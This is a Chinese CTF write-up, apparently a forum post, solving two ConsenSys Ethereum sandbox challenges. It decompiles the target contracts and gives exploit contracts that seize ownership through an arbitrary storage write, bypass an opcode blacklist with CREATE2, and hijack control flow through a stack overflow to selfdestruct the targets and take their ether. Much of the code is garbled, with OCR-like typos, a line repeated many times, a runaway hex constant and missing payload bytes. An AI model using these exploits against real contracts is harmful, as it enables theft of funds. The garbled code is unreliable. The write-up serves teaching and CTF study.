本文为ConsenSys CTF, Ethereum Sandbox相关的一篇文章。 在了解这个题目前需要我们对以太坊和Solidity的基本概念进行理解。

#### 题目一

我们的目标部署0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a的一个合约上。该合约没有经过代码验证操作,所以我们需要对该合约进行逆向从而获取源代码信息

```
代码信息如下:
```

```
// Decompiled at www.contract-library.com
// Data structures and variables inferred from the use of storage instructions
uint256[] stor_write_what_where_gadget; // STORAGE[0x0]
uint256[] stor_owners; // STORAGE[0x1]
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(uint256 function_selector) public {
MEM[0x40] = 0x80;
 if ((msg.data.length() >= 0x4)) {
  if ((0x25e7c27 == function_selector)) owners(uint256)(function_selector);
  if ((0x2918435f == function_selector)) fun_sandbox(address)();
  if ((0x4214352d == function_selector)) write_what_where_gadget(uint256,uint256)();
  if ((0x74e3fb3e == function\_selector)) 0x74e3fb3e(function\_selector);
 }
 throw();
}
function write_what_where_gadget() public {
require(!msg.value);
 require(((msg.data.length() - 0x4) >= 0x40));
 v1200x149 = msg.data[v1200x131];
 v1200x14d = v1200x131 + 32;
 require((msg.data[v1200x14d] < stor_write_what_where_gadget.length));</pre>
 stor_write_what_where_gadget[msg.data[v1200x14d]] = v1200x149;
 exit();
}
function 0x74e3fb3e() public {
require(!msg.value);
 require(((msg.data.length() - 0x4) >= 0x20));
 v1650x18e = msg.data[v1650x176];
 require((v1650x18e < stor_write_what_where_gadget.length));</pre>
 v1650x1a1 = MEM[0x40];
MEM[v1650x1a1] = stor_write_what_where_gadget[v1650x18e][0];
return(MEM[MEM[0x40]:MEM[0x40] + (v1650x1a1 + 32 - MEM[0x40])]);
}
function owners() public {
require(!msq.value);
 require(((msg.data.length() - 0x4) >= 0x20));
 v610x8a = msg.data[v610x72];
 require((v610x8a < stor_owners.length));</pre>
 v610xlef = address(stor_owners[v610x8a][0] >> 0);
 v610x9d = MEM[0x40];
MEM[v610x9d] = address(v610x1ef);
return(MEM[MEM[0x40]:MEM[0x40] + (v610x9d + 32 - MEM[<math>0x40])]);
}
function fun_sandbox(address varg0) public {
require(((msg.data.length() - 0x4) >= 0x20));
 v289_1 = 0x0;
 v20b_0 = 0x0;
 while (true) {
```

```
if ((v20b_0) >= stor_owners.length)) break;
  require((v20b 0 < stor owners.length));
  if ((address(msg.sender) == address(stor_owners[v20b_0][0] >> 0))) \{
      v289_1 = 0x1;
  }
  v20b_0 = v20b_0 + 1;
  continue;
require(v289_1);
v29c = extcodesize(varg0);
v2a1 = MEM[0x40];
MEM[v2a1] = v29c;
EXTCODECOPY(varg0, v2a1 + 32, 0x0, v29c);
v2cf 0 = 0x0;
while (true) {
  if ((v2cf_0 >= MEM[v2a1])) break;
  if ((v2cf_0 < MEM[v2a1])) break;
  require((v2cf_0 < MEM[v2a1]));
  require((v2cf 0 < MEM[v2a1]));
  v2cf 0 = v2cf 0 + 1;
  continue;
 v714 = address(varg0).delegatecall(MEM[MEM[0x40] : MEM[0x40] + ((0x0 + MEM[0x40]) - MEM[0x40])]).gas(msg.gas); \\ v714 = address(varg0).delegatecall(MEM[MEM[0x40]] : MEM[0x40] + ((0x0 + MEM[0x40]) - MEM[0x40])]).gas(msg.gas); \\ v714 = address(varg0).delegatecall(MEM[MEM[0x40]] : MEM[0x40]] + ((0x0 + MEM[0x40]) - MEM[0x40])]).gas(msg.gas); \\ v714 = address(varg0).delegatecall(MEM[MEM[0x40]] : MEM[0x40]] + ((0x0 + MEM[0x40])) - MEM[0x40])]).gas(msg.gas); \\ v714 = address(varg0).delegatecall(MEM[MEM[0x40]] : MEM[0x40]] + ((0x0 + MEM[0x40])) - MEM[0x40])]).gas(msg.gas); \\ v714 = address(varg0).delegatecall(MEM[MEM[0x40]] + ((0x0 + MEM[0x40])) - MEM[0x40])]).gas(msg.gas); \\ v714 = address(msg.gas) + ((0x0 + MEM[0x40])) - MEM[0x40])]).gas(msg.gas) + ((0x0 + MEM[0x40])) - MEM[0x40]) - ((0x0 + MEM[0x40])) - MEM[0x40])]).gas(msg.gas) + ((0x0 + MEM[0x40])) - MEM[0x40])]).gas(msg.gas) + ((0x0 + MEM[0x40])) - MEM[0x40])]).gas(msg.gas) + ((0x0 + MEM[0x40])) - MEM[0x40]) - ((0x0 + MEM[0x40])) - MEM[0x40])]) + ((0x0 + MEM[0x40])) - MEM[0x40]) - ((0x0 + MEM[0x40])) - ((0x0 + ME
if ((RETURNDATASIZE != 0x0)) {
  vdc0x724 = MEM[0x40];
  MEM[vdc0x724] = RETURNDATASIZE;
  RETURNDATACOPY(vdc0x724 + 32, 0x0, RETURNDATASIZE);
vdc0x753 = !vdc0x714;
require(vdc0x714);
exit();
```

合约末经验证,因此我们将使用合约库的方式对其进行逆向工程https://contract-library.com/contracts/Ethereum/0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a

我们发现在功能0x2918435f中有一个被更改过的调用函数。如果我们可以指定delegatecall使用的地址,那么我们基本上就能拥有合约。 让我们来看看为了触发此漏洞必须满足哪些条件。

## 首先我们来看先决条件:

```
function 0x74e3fb3e() public {
  require(!msg.value);
  require(((msg.data.length() - 0x4) >= 0x20));
  v1650x18e = msg.data[v1650x176];
  require((v1650x18e < stor_write_what_where_gadget.length));
  v1650x1a1 = MEM[0x40];
  MEM[v1650x1a1] = stor_write_what_where_gadget[v1650x18e][0];
  return(MEM[MEM[0x40]:MEM[0x40] + (v1650x1a1 + 32 - MEM[0x40])]);
}

在该函数中,我们需要满足:
  require(((msg.data.length - 0x4) >= 0x20));
```

即消息data长度必须至少为32字节。

我们对合约进行一些细微的修改,存储偏移量0x01存储了一个数组。 此代码实质上检查调用者是否在该数组中。在代码开始处,此数组等于[0xf339084e9838281c953f3e812f32a6e145f64bff]。

```
bool foundOwner = false;
for (int index = 0; index < owners.length; index++) {</pre>
 if (msg.sender == owners[index]) {
   foundOwner = true;
}
require(foundOwner);
之后我们再看下面的内容:
while (true) {
 if ((v2cf_0 >= MEM[v2a1])) break;
 if ((v2cf_0 < MEM[v2a1])) break;
 require((v2cf_0 < MEM[v2a1]));</pre>
 require((v2cf_0 < MEM[v2a1]));</pre>
 require((v2cf_0 < MEM[v2a1]));</pre>
 require((v2cf_0 < MEM[v2a1]));
 require((v2cf_0 < MEM[v2a1]));
 require((v2cf_0 < MEM[v2a1]));
 v2cf_0 = v2cf_0 + 1;
 continue;
在合约中我们看到了上述一堆条件,然而这些条件经过分析可以简化为:
bytes memory code = address(target).code;
for (int index = 0; index < code.length; index++) {</pre>
 require(code[index] != 0xf0);
 require(code[index] != 0xf1);
 require(code[index] != 0xf2);
 require(code[index] != 0xf4);
 require(code[index] != 0xfa);
 require(code[index] != 0xf4);
```

这个前提条件很容易理解。 根据黑名单(CREATE■CALL■CALLCODE■DELEGATECALL■STATICCALL■SELFDESTRUCT)检查目标合同代码的每个字节。 这就是类似于沙箱的某种操作。

前提条件1很简单,由于msg.data中的内容是我们给出的,所以其长度很容易满足。然而前提条件2比较棘手。由于我们没有直接修改所有者数组的函数。 因此,我们需要寻找其他的方法来满足上述条件。 唯一的具有修改内容的函数如下:

```
if ((0x4214352d == function_selector)) write_what_where_gadget(uint256,uint256)();
function write_what_where_gadget() public {
  require(!msg.value);
  require(((msg.data.length() - 0x4) >= 0x40));
  v1200x149 = msg.data[v1200x131];
  v1200x14d = v1200x131 + 32;
  require(((msg.data[v1200x14d] < stor_write_what_where_gadget.length));
  stor_write_what_where_gadget[msg.data[v1200x14d]] = v1200x149;
  exit();
}</pre>
```

看起来这个函数并没有什么危险,但实际上此函数隐藏了一个任意的写原语的接口,我们可以用它将合约的owner所有权转让给我们自己。

满足前提条件3是最棘手的,我们需要调用某种方法来转移以太token,并且此过程中不能够使用任何转移函数。

然而这里存在一个名为Constantinople的硬分叉,而这个硬分叉包含了EIP-1014,且它创建一个名为CREATE2的新操作码。 此操作码的行为类似于CREATE,并存在于0xF5的位置。而该字节未被列入黑名单,因此我们可以使用CREATE2将以太网转移出CTF。

如何获得flag呢?

当满足上述的三种条件后flag就很容易获得了。

mstore(0x00, 0x6132fe6001013452346004601c3031f5)

```
contract StorageWriter {
      constructor() public payable {
              assembly {
                       \verb|mstore|(0x00, 0x348055327f0b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fc)| \\
                       return(0x00, 0x40)
               }
      }
}
/**
* Locks the contract so no one else can take ownership
* /
contract Locker {
      CTFAPI private constant CTF = CTFAPI(0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A);
      constructor() public payable {
              require(tx.origin == 0x5CD5e9e5D251bF23c7238d1972e45A707594F2A0);
              bool result;
               // First, make this contract the owner
               (result, ) = address(CTF).call(abi.encodeWithSelector(
                       0x4214352d,
                       uint(address(this)),
                       \verb|uint(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6-0x290decd9548b62a8d60345a988386fc84ba6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954a6bc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc954abc9
               ));
              require(result);
               // Second, create the storage writer contract
              StorageWriter locker = new StorageWriter();
               (result, ) = address(CTF).call(abi.encodeWithSelector(
                       0x2918435f,
                       locker
               ));
              require(result);
               // Third, check result
              require(CTF.owners(0) == tx.origin);
               // Fourth, cleanup
              selfdestruct(tx.origin);
      }
}
StorageWriter合约是用汇编语言编写的, 伪代码如下所示。
contract StorageWriter {
      uint[] private someArray;
      address[] private owners;
      function() public payable {
               someArray.length = 0;
              owners[0] = tx.origin;
      }
这里有两点需要注意。
• StorageWriter合同实现需要手写。 这是因为这里的沙箱允许使用特定的字节,而不是特定的操作码。 这意味着即使在常量值的上下文中也禁止0×FA。
Locker部署在0x8cd8cc3969f4800257eac48b46e01190477e4cb60d877a50532613db4e32b663上。
它成功锁定合约并将所有权转让给0x5cd5e9e5d251bf23c7238d1972e45a707594f2a0。
contract BountyClaimer {
      constructor() public payable {
              assembly {
```

```
}
  }
这个合同也是用汇编语言编写的,所以伪代码在下面给出。
contract BountyClaimerInner {
  constructor() public payable {
      selfdestruct(tx.origin);
}
contract BountyClaimer {
  function() public payable {
       (new BountyClaimerInner).value(address(this).balance)();
   }
}
BountyClaimer合约使用CREATE2创建另一个合同,其中包含函数selfdestruct(tx.origin)。
为了绕过字节0xFF上的黑名单,程序集实际上创建了一个0x32FE + 0x01的合约。
题目二
第二道题目部署到<u>0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87</u>上。
然而,许多反编译器无法对其进行编译操作,所以我们借助上文中的编辑器进行反汇编操作。
// Decompiled at www.contract-library.com
// Data structures and variables inferred from the use of storage instructions
uint256 unknown; // 0x0
uint256 die; // 0x20
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(uint32 function_selector) public {
MEM[0x40] = 0x100000;
 if ((msg.data.length() >= 0x4)) {
  if ((0x7909947a == function_selector)) 0x7909947a(function_selector);
  if ((0x60fe47b1 == function_selector)) set(uint256)(function_selector);
  if ((0x6d4ce63c == function_selector)) get()();
  v00x5f = (0x35f46994 == v00x37);
  if (v00x5f) die()();
 throw();
function 0x7909947a() public {
MEM[0x100] = 0x100;
 0x8c(0x0, 0x24c);
 0x8c(0x0, 0x25a);
 CALLDATACOPY(0x90000, 0x44, msg.data.length());
 v269_0, v269_1, v269_2 = 0xb4(0x26a);
 0x8c(0x29b, 0x275);
 0x8c(0x90000, 0x281);
 0x8c(v269 0, 0x28a);
 0x8c((msg.data.length() - 0x44), 0x296);
 0x8c(0x0, 0x167);
 while (true) {
  if (!(MEM[MEM[0x100]] - MEM[(MEM[0x100] - 0x20)])) break;
   \texttt{MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = MEM[(MEM[(MEM[0x100] - 0x60)] + MEM[MEM[0x100]])]} >> 248 \& 0xff; \\
  MEM[MEM[0x100]] = (MEM[MEM[0x100]] + 0x1);
  continue;
 MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = 0x0;
 while (true) {
  if (!(MEM[MEM[0x100]] % 0x40)) break;
  MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = 0x0;
  MEM[MEM[0x100]] = (MEM[MEM[0x100]] + 0x1);
```

return(0x10, 0x20)

```
continue;
 v218_0 = set_impl(0x219);
 v221_0 = set_impl(0x222);
 v22a_0 = set_impl(0x22b);
 v233_0 = set_impl(0x234);
 0xc3();
}
function set(uint256 varg0) public {
get_impl(0x317);
v31e_0, v31e_1, v31e_2 = 0xb4(0x31f);
 0x8c(0x344, 0x32a);
 0x8c(varg0, 0x335);
 0x8c(0x0, 0x33f);
\label{eq:storage} \texttt{STORAGE[MEM[MEM[0x100]]] = MEM[(MEM[0x100] - 0x20)];}
v2ff_0 = set_impl(0x300);
v308_0 = set_impl(0x309);
 0xc3();
}
function get() public {
get_impl(0x352);
 if ((msg.sender == unknown)) {
  throw();
 } else {
  MEM[0x80] = unknown;
  return(MEM[0x80:0xa0]);
 }
}
function die() public {
if ((msg.sender != die)) {
  throw();
 } else {
  selfdestruct(die);
}
function 0x8c(uint256 vg0, uint256 vg1) private {
v93 = (MEM[0x100] + 0x20);
MEM[0x100] = v93;
MEM[v93] = vg0;
return() // to vgl;
function set_impl(uint256 vg0) private {
MEM[0x100] = (MEM[0x100] - 0x20);
return(MEM[MEM[0x100]]) // to vg0;
function 0xb4(uint256 vg0) private {
return() // to 0x8c;
function 0xc3(uint256 vg0) private {
vca_0 = set_impl(0xcb);
vd2_0 = set_impl(0xd3);
MEM[0x100] = vc30xd2_0;
function get_impl(uint256 vg0) private {
require(!msg.value);
 return() // to vg0;
```

其中包含了如下经过签名的函数:

# **Functions**

function stack\_push\_frame() private {
 stack\_push(memory[0x100]);

```
__function_selector__(uint32 function_selector)
   a 0x7909947a()
   🔒 0x8c(uint256 vg0, uint256 vg1)
   0xb4(uint256 vg0)
   0xc3(uint256 vg0)
   die()

  get_impl(uint256 vg0)
   get()
   a set_impl(uint256 vg0)
   set(uint256 varg0)
get()和die()函数很简单,可以用伪代码表示,如下所示,我们可以假设get()是作为完整性检查提供的,而die()显然是我们需要调用以解决此CTF的函数。
address private storage 00;
address private storage 20;
function get() public returns (address) {
  require(msg.sender != storage_00);
  return storage 00;
function die() public {
 require(msg.sender == storage_20);
  selfdestruct(storage 20);
仔细查看set(uint256)函数,我们发现此函数内容非常复杂,由于该函数需要进行手动堆栈调用,其调用过程我总结如下:
function stack_push(uint256 value) private {
  memory[memory[0x100]+0x20] = value;
  memory[0x100] = memory[0x100] + 0x20;
function stack_get(uint256 depth) private {
  return memory[memory[0x100] - depth*0x20];
function stack_pop() private returns (uint256 value) {
 value = memory[memory[0x100]];
  memory[0x100] = memory[0x100] - 0x20;
```

```
function stack_pop_frame() private returns (uint256 dest) {
   dest = stack_pop();
   memory[0x100] = stack_pop();
使用调用堆栈函数, set(uint256)可以表示如下:
function set(uint256 value) public {
   stack_push_frame();
   stack_push(return_lbl);
   stack_push(value);
   stack_push(0x00);
   set_impl();
return_lbl:
   return;
function set_impl() private {
   storage[stack_get(0)] = stack_get(1);
   stack_pop();
   stack_pop();
   goto stack_pop_frame();
简洁一点:
address private storage_00;
function set(uint256 value) public {
   storage_00 = address(value);
function 0x7909947a() public {
  memory[0x100] = 0x100;
   stack_push(0x00);
   var var1 = memory[0x100]; // 0x120
   stack_push(0x00);
   \verb|memcpy|(memory[0x90000], msg.data[0x44], msg.data.length-0x44);|\\
   stack_push_frame();
   stack_push(irrelevant_lbl);
   stack_push(0x90000);
   stack_push(var1);
   stack_push(msg.data.length - 0x44);
   stack_push(0x00);
   0x7909947a_impl();
irrelevant_lbl:
   // some irrelevant code
function 0x7909947a_impl() private {
  copy_data();
   memory[stack_get(2) + stack_get(0)] = 0x00;
   pad_data();
   stack_pop();
   stack_pop();
   stack_pop();
   stack_pop();
   goto stack_pop_frame();
function copy_data() private {
   while (stack_get(0) - stack_get(1) != 0) {
       memory[stack_get(2) + stack_get(0)] = memory[stack_get(3) + stack_get(0)] >> 248;
       memory[memory[0x100]] = memory[memory[0x100]] + 0x01;
   }
}
```

```
function pad_data() private {
   while (stack_get(0) % 0x40 != 0) {
        memory[stack_get(2) + stack_get(0)] = 0x00;
        memory[memory[0x100]] = memory[memory[0x100]] + 0x01;
   }
}
```

当攻击者能够溢出调用堆栈时,他们可以使用ROP通过破坏返回地址来重定向程序的控制流。

由于CTF的大多数目标是对token进行窃取,所以显然我们需要以某种方式将我们的地址写入内存0x20处。我们在set\_impl上进行数据写入,将stack\_get(1)写入stack\_get(1

利用set\_impl中的操作,我们使堆栈变为下面的样子:

但是, 当输入0x7909947a\_impl()时, 我们的堆栈如下:

```
_____
         0x00
                      <---- this is 0x0120
         0x00
  stack frame 0x7909947a()
      irrelevant_lbl
                     _____
                             stack grows down
        0 \times 090000
                      V
         0 \times 0120
   msg.data.length - 0x44
         0x00
```

当调用0x7909947a\_impl()时,它会将msg.data[0x44:]复制到内存[0x120]中。这意味着如果我们的消息长于0x40字节,它将破坏堆栈,然后返回地址,依此类推。但是,我们无法在堆栈中的两个空白空间中使用set\_impl所需的四个堆栈项。

我们将payload复制到内存[0x90000]中。 因此,我们可以简单地更新堆栈帧指针,并使其指向我们的堆栈所在的0x90000处。

我需要对7909947a进行调用。

接下来,两个将被复制到内存[0x120]。

接下来的两个单词将破坏堆栈帧指针和返回地址。 总消息长度为0x184字节,总共为0x140字节。 因此我们的假堆栈帧将指向0x90140。根据函数set\_impl所在的位置,我们使用0x2ea作为返回地址。

因为payload一次一个字节地复制到存储器中,所以在覆盖接下来的四个字时需要我们注意。前三个是静态值后面那个是动态的。但是第四个字是当前复制的字节数,因此我们必须指定在该时间点复制的字节数。

最后,我们构造了set\_impl,并使用其对堆栈进行读取操作。首先指定set\_impl的返回地址,且该地址return\_lbl或0x344。然后,我们指定要写入存储的值。 最后我们指定要写入的存储槽。

#### payload如下:

7909947a

#### 攻击合约如下:

```
pragma solidity ^0.5.0;

contract Target {
    function get()public returns (address);
    function set(uint a) public;
    function die() public;
}

contract Solver {
    constructor(bytes memory data) public payable {
        (bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);
        require(result);
        Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();
        require(address(this).balance > 0);
        selfdestruct(msg.sender);
    }
}
```

本次两道题目难度较大,需要进行逆向,且与常规的题目不太相同,希望能帮助读者更进一步理解。

#### 参考链接

https://aleth.io/account/0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a

https://samczsun.com/consensys-ctf-2-rop-evm/

https://medium.com/dedaub/chronicle-of-an-attack-foretold-20c9c5629c89

https://samczsun.com/consensys-ctf-writeup/

• https://contract-library.com/#!/contracts/MAINNET/68cb858247ef5c4a0d0cde9d6f68dce93e49c02a

点击收藏 | 0 关注 | 1

<u>上一篇:黑产梳理摘要</u>下一篇:路由器漏洞分析系列(3):CVE-...

- 1. 0 条回复
  - 动动手指,沙发就是你的了!

### 登录后跟帖

先知社区

#### 现在登录

热门节点

技术文章

<u>社区小黑板</u>

目录

RSS <u>关于社区</u> 友情链接 社区小黑板